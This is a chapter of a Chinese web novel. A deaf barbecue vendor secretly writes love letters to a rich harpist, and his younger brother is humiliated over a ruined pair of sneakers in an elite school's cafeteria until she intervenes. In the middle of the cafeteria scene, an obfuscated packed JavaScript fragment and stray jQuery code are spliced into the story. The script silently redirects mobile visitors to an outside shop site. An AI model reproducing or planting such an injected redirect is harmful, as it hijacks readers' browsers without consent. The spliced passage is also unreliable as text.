.
[萧萧，最近总是下雨，希望你的车窗关得很严。]
[上次竖琴比赛的视频我去找来看过了，虽然听不见，但我知道，你一定全场最好的……]
何止是看过了，那个视频被他存在手机里，在夜深人静时一遍遍地看。
他记得视频里的每一个镜头。秦萧穿着dior为她特别定制的银灰色碎钻礼服，带着蓝色的宝石耳环，坐在华丽音乐厅的中央。
聚光灯下，指尖在琴弦上跳跃，连发梢晃动的弧度都那么好看。
——那么远，那么亮，那么触不可及。
笔尖微微发抖：
[......最好的。]
他写不下去了。
要怎么形容呢？她矜贵，明艳，神圣……超出他所能想到的所有形容词。贫瘠的语言和苍白的文字，要怎么才能形容出她的万分之一好？
但最后，他仍是断断续续写满了整张纸，在末尾画上一个爱心。
信纸被小心沿着原有的折痕重新折好，锁在柜子里，等待他明日出摊时塞进给她的烧烤袋里。
他点开手机，已经凌晨两点半了，他还能再睡三个多小时，就必须起床去批发市场抢购最新鲜的食材。但哪怕如此，他仍是点开了私密相册，又一次播放那些看了无数遍的视频。
无声的画面里，他觉得，秦萧谢幕时对着观众席扬起的那抹带着些许傲然的笑，比任何音乐都动人。等她再次上台，他盯着她致辞的口型和字幕，一遍遍熟悉着她的唇语。但这段话他已经熟练到能背下，无法再达到帮他训练唇语的目的。
他将视线转向那个狭小换气窗。
雨又开始下了。
他把手机贴在胸口，终于闭上了眼睛。
.
——
清晨六点，沈明被闹钟吵醒，迷迷糊糊间，厨房已经隐约飘来香气。
他揉着太阳穴坐起身，昨晚那道数学压轴题耗到他凌晨一点才勉强攻下，而他哥，显然比他睡得更晚，此刻却已完成了食材采购，在灶台前忙碌多时。
他推开房门，果然看见他哥站在灶台前，用筷子轻轻翻动锅里的荷包蛋。晨光透过通风窗的缝隙照进来，落在他哥沾着面粉的袖口上，也照亮了他唇角那道浅浅的结痂。
昨天没太看清，今天在亮处一看，还是怎么看怎么奇怪。
他洗漱完，坐到那张兼作书桌的折叠餐桌前。
早餐已经像往常一样，摆得整整齐齐：两碗豆浆，两个煎蛋，还有一盘自己做的包子。
他飞速解决着早餐，却下意识反复抬头，终于，他放下碗，掏出手机，打字。
【你嘴上火了？】
沈旭正低头喝豆浆，抬头看见问题呛了一下，匆忙用手背擦了擦嘴角，用力摇头。
“那就是被烫的？”沈明紧盯着他。
沈旭轻轻点头，拿起包子咬了一口，试图掩饰。
沈明眯起眼，心里冷哼一声。
骗鬼呢。
他虽然没谈过恋爱，可网上刷到的帖子多了，该懂的不该懂的早已接收了不少。能在人嘴上留下这种形态印子的，除了上火和激烈的接吻他想不到其他。
但……接吻？
他想了想，这个荒谬的可能又被强行按了下去。
怎么可能？沈旭每天清晨四点班就去进货，给他做早饭后补觉，下午备菜晚上出摊，回来都半夜了，天天昼夜颠倒，哪来的时间谈恋爱？更何况，谁会看上一个聋哑的烧烤摊主？
时间、精力、金钱、社会地位……他哥一样都没有，就算有一张脸，以他哥那沉闷性子都讨不来富婆喜欢。
“我走了。”沈明咽下最后一口豆浆，拎起书包出门。
老旧的门板在身后哐当作响，他飞一般冲向公交站。
清晨的城中村已经开始苏醒，作为京市少见的棚户区，要拆迁的消息早几年就开始传了，但一直拉扯到现在还没拆。但也幸亏如此，他哥才能租得起一间靠近京华私立得地下室，让他不至于跨半个城市去上学。
早点摊冒着热气，污水顺着墙角流淌。
他灵活地避开晾衣杆和乱停的电动车，跨过地上水洼。
虽然就六站公交，但要转三趟，这距离，隔开的是两个截然不同的世界。晚一分钟，就可能错过那班能让他准时抵达“那个世界”的车。
他拼命奔跑，在车门关闭前挤了上去。
车厢里混杂着各种气味。他紧紧抓住扶手，看着窗外飞速后退的街景。破旧的居民楼逐渐被玻璃大厦取代。
等气喘吁吁赶到学校，刚扶着膝盖站稳，就看见秦萧家的车在门口停下。
沈明立刻低下头，放缓脚步，刻意让自己落在几个同样刚到的学生后面。这样，他就能借着人群的掩护光明正大看她的背影。
秦萧下了车。
她今日没有戴任何发饰，头发规规矩矩束起，露出了光洁的额头和优美的颈部线条。
似乎和昨天有些不一样。
沈明说不清具体是哪里，但他就是能感觉的出来。
一上午课结束，饥肠辘辘的学生们涌向食堂。
京华私立的食堂窗明几净，设计感十足，明面上绝无等级划分。但无形的壁垒往往比有形的更坚不可摧，悄无声息地将人区隔开来。
那些不缺钱的自然地向三楼小厨房汇聚，那儿提供现点现做的精致餐食，由专门聘请的四星大厨掌勺，食材空运，菜单每周更新。价格自然也足够“精致”。
沈明端着统一的餐盘在一楼最边沿排队，指尖攥着饭卡，心里还在琢磨刚刚没解完的数学题。
队伍快速前移。
突然，一阵熟悉的笑声从侧面楼梯口传来，传入他耳中。
沈明下意识抬眼，就见秦萧和苏沐媛说笑着并肩上楼。
她没穿那校服外套，只一件熨帖的白衬衫，领口解开一颗。
她们旁边还跟着一个穿高二校服的学弟。
沈明认得他。
去年物理竞赛，甩开他三十四分的那个天才，顾衍。
此刻，这位天之骄子正微微偏头，目光专注地落在秦萧侧脸。那眼神里的意味，沈明看得懂。
他心头莫名一涩。
“操！看路啊！”
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17677141|207526||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>一声怒喝拉回沈明的思绪。
他慌忙回神，却来不及收住脚。
“哐当——”
餐盘边缘撞上前面那人的手肘，汤碗一震，餐盘倾斜，油汤晃出来，不偏不倚，溅在了对方球鞋上。
沈明抬头，对上了一张阴沉的脸。
林骁——校篮球队主力，家境优渥，出了名的脾气爆。
“我……对、对不起……”沈明连声道歉，手忙脚乱摸向口袋里的纸巾。
“对不起就完了？”林骁一把揪住他的衣领，语气极冲：“你他妈看清楚！这鞋！T家限量联名！全球就发售那么点儿！我托了三四层关系，等了快三个月才到手！今天第一次上脚！”
周围瞬间安静下来，所有目光都聚焦在这里。
沈明的脸瞬间发烫，张了张嘴，只能挤出一句：“我会赔你。”
林骁快气炸了，这家伙懂不懂什么叫限量款！？怎么赔?
林骁：“赔？！你赔的起吗？”
林骁：“你那个卖烧烤的哥哥，得烤多少串才买得起这鞋？一千串？一万串？！还是十万串？！啊？！”
周围响起压低的议论声。
那些看好戏的声音像针一样扎进沈明耳朵里。他知道自己在这所学校是异类，脾气不算好，人缘也一般，此刻没有人会站出来为他说话。
林骁嗤笑一声：“行，赔不起算了，跪下给我擦干净，这事就算了。”
“我说了，我会赔。”沈明僵硬地重复。
林骁嘲讽地扯了扯嘴角，突然想起什么，抬高声音，让半个食堂听见：
“哦，对了，听说你哥不光是个烤串的，还是个聋子？那—你—们—在—家—怎—么—交—流—？比—手—画—脚—？”
他一边说，一边夸张地比划，模仿着想象中的手语，动作滑稽又侮辱。
沈明拳头攥的死紧，感觉有冷汗顺着脊椎滑下。
是，他是嫌弃沈旭身上永远散不掉的油烟味，是讨厌他那份“不上台面”的工作，是害怕别人知道自己有这样一个哥哥。
他应该忍的，在这个人均零花钱比他家年收入还高的地方，忍耐是他学会的第一课。但此刻，楼梯间飘来的目光像烙铁般烫在他背上，灼烧着他仅存的自尊，让他怎么也无法在这种注视下弯下膝盖。
他猝然抬头：“一双鞋还要代购两个月？那你装什么少爷？”
“什么？”林骁的表情凝固了，不可置信。
“我说———你、装、什、么？”沈明一字一顿，强迫自己直视对方因暴怒而猩红的眼睛，“靠代购才能撑场面的，也好意思自称少爷？”
王田浩那种煤老板家庭都没见他这么拽。
“你他妈——！”
少年人最不能忍的就是被下面子，更别说是在这大庭广众下。林骁的理智弦崩断，拳头抡起，朝着沈明的面门砸去。
但下一秒，预期中的疼痛并未到来，林骁被人从侧面一脚踹开，踉跄几步，险些摔在地上。
整个食堂鸦雀无声。
所有人目瞪口呆地看着收腿站定的秦萧，都傻愣住了。
.